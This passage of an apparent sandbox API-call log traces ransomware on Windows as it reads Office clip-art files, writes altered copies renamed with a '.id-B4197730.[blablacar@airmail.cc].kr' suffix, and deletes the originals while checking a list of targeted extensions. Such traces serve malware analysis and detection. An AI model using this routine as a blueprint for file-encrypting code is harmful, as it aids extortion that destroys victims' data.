liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.437] SetEndOfFile (hFile=0x4d4) returned 1 [0198.446] CloseHandle (hObject=0x4d4) returned 1 [0198.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0198.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.491] lstrlenW (lpString=".doc") returned 4 [0198.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.492] lstrlenW (lpString=".docx") returned 5 [0198.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.492] lstrlenW (lpString=".pdf") returned 4 [0198.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.492] lstrlenW (lpString=".xls") returned 4 [0198.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.492] lstrlenW (lpString=".xlsx") returned 5 [0198.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.492] lstrlenW (lpString=".ppt") returned 4 [0198.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.492] lstrlenW (lpString=".zip") returned 4 [0198.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.492] lstrlenW (lpString=".rar") returned 4 [0198.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.492] lstrlenW (lpString=".bz2") returned 4 [0198.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.492] lstrlenW (lpString=".7z") returned 3 [0198.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.492] lstrlenW (lpString=".dbf") returned 4 [0198.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.493] lstrlenW (lpString=".1cd") returned 4 [0198.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.493] lstrlenW (lpString=".jpg") returned 4 [0198.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.493] lstrlenW (lpString=".doc") returned 4 [0198.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.493] lstrlenW (lpString=".docx") returned 5 [0198.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.493] lstrlenW (lpString=".pdf") returned 4 [0198.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.493] lstrlenW (lpString=".xls") returned 4 [0198.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.493] lstrlenW (lpString=".xlsx") returned 5 [0198.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.493] lstrlenW (lpString=".ppt") returned 4 [0198.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.494] lstrlenW (lpString=".zip") returned 4 [0198.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.494] lstrlenW (lpString=".rar") returned 4 [0198.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.494] lstrlenW (lpString=".bz2") returned 4 [0198.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.494] lstrlenW (lpString=".7z") returned 3 [0198.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.494] lstrlenW (lpString=".dbf") returned 4 [0198.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.494] lstrlenW (lpString=".1cd") returned 4 [0198.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0198.494] lstrlenW (lpString=".jpg") returned 4 [0198.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.494] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.495] lstrlenW (lpString="IN00343_.WMF") returned 12 [0198.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.509] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1892) returned 1 [0198.509] CloseHandle (hObject=0x3f8) returned 1 [0198.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0198.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.510] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.510] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0198.511] GetLastError () returned 0x0 [0198.511] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x764, lpOverlapped=0x0) returned 1 [0198.529] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x770, lpOverlapped=0x0) returned 1 [0198.530] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.530] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.530] SetEndOfFile (hFile=0x534) returned 1 [0198.530] CloseHandle (hObject=0x534) returned 1 [0198.530] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.530] SetEndOfFile (hFile=0x3f8) returned 1 [0198.533] CloseHandle (hObject=0x3f8) returned 1 [0198.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0198.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.534] lstrlenW (lpString=".doc") returned 4 [0198.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.534] lstrlenW (lpString=".docx") returned 5 [0198.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.534] lstrlenW (lpString=".pdf") returned 4 [0198.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.534] lstrlenW (lpString=".xls") returned 4 [0198.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.534] lstrlenW (lpString=".xlsx") returned 5 [0198.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.534] lstrlenW (lpString=".ppt") returned 4 [0198.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.534] lstrlenW (lpString=".zip") returned 4 [0198.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.535] lstrlenW (lpString=".rar") returned 4 [0198.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.535] lstrlenW (lpString=".bz2") returned 4 [0198.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.535] lstrlenW (lpString=".7z") returned 3 [0198.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.535] lstrlenW (lpString=".dbf") returned 4 [0198.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.535] lstrlenW (lpString=".1cd") returned 4 [0198.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.536] lstrlenW (lpString=".jpg") returned 4 [0198.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.536] lstrlenW (lpString=".doc") returned 4 [0198.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.536] lstrlenW (lpString=".docx") returned 5 [0198.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.536] lstrlenW (lpString=".pdf") returned 4 [0198.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.536] lstrlenW (lpString=".xls") returned 4 [0198.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.536] lstrlenW (lpString=".xlsx") returned 5 [0198.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.536] lstrlenW (lpString=".ppt") returned 4 [0198.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.928] lstrlenW (lpString=".zip") returned 4 [0198.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.928] lstrlenW (lpString=".rar") returned 4 [0198.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.928] lstrlenW (lpString=".bz2") returned 4 [0198.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.928] lstrlenW (lpString=".7z") returned 3 [0198.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.943] lstrlenW (lpString=".dbf") returned 4 [0198.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.943] lstrlenW (lpString=".1cd") returned 4 [0198.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0198.957] lstrlenW (lpString=".jpg") returned 4 [0198.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.957] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.963] lstrlenW (lpString="J0086384.WMF") returned 12 [0198.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.964] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9734) returned 1 [0198.964] CloseHandle (hObject=0x55c) returned 1 [0198.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0198.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.965] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.965] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0198.967] GetLastError () returned 0x0 [0198.967] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2606, lpOverlapped=0x0) returned 1 [0198.969] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2610, lpOverlapped=0x0) returned 1 [0198.970] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.970] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.970] SetEndOfFile (hFile=0x560) returned 1 [0198.970] CloseHandle (hObject=0x560) returned 1 [0198.971] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.971] SetEndOfFile (hFile=0x55c) returned 1 [0198.973] CloseHandle (hObject=0x55c) returned 1 [0198.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0198.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.975] lstrlenW (lpString=".doc") returned 4 [0198.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString=".docx") returned 5 [0198.975] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.975] lstrlenW (lpString=".pdf") returned 4 [0198.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString=".xls") returned 4 [0198.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.975] lstrlenW (lpString=".xlsx") returned 5 [0198.975] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.975] lstrlenW (lpString=".ppt") returned 4 [0198.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.975] lstrlenW (lpString=".zip") returned 4 [0198.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.975] lstrlenW (lpString=".rar") returned 4 [0198.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString=".bz2") returned 4 [0198.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString=".7z") returned 3 [0198.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.975] lstrlenW (lpString=".dbf") returned 4 [0198.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.975] lstrlenW (lpString=".1cd") returned 4 [0198.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.976] lstrlenW (lpString=".jpg") returned 4 [0198.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.976] lstrlenW (lpString=".doc") returned 4 [0198.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.977] lstrlenW (lpString=".docx") returned 5 [0198.977] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.977] lstrlenW (lpString=".pdf") returned 4 [0198.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.977] lstrlenW (lpString=".xls") returned 4 [0198.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.977] lstrlenW (lpString=".xlsx") returned 5 [0198.977] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.977] lstrlenW (lpString=".ppt") returned 4 [0198.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.977] lstrlenW (lpString=".zip") returned 4 [0198.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.977] lstrlenW (lpString=".rar") returned 4 [0198.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.977] lstrlenW (lpString=".bz2") returned 4 [0198.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.977] lstrlenW (lpString=".7z") returned 3 [0198.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.977] lstrlenW (lpString=".dbf") returned 4 [0198.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.978] lstrlenW (lpString=".1cd") returned 4 [0198.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0198.978] lstrlenW (lpString=".jpg") returned 4 [0198.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.978] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.978] lstrlenW (lpString="J0086420.WMF") returned 12 [0198.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.979] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9596) returned 1 [0198.979] CloseHandle (hObject=0x55c) returned 1 [0198.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0198.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0198.980] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.980] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0198.980] GetLastError () returned 0x0 [0198.980] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x257c, lpOverlapped=0x0) returned 1 [0198.982] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2580, lpOverlapped=0x0) returned 1 [0198.983] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.983] WriteFile (in: hFile=0x560, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.984] SetEndOfFile (hFile=0x560) returned 1 [0198.984] CloseHandle (hObject=0x560) returned 1 [0198.984] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.984] SetEndOfFile (hFile=0x55c) returned 1 [0198.987] CloseHandle (hObject=0x55c) returned 1 [0198.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 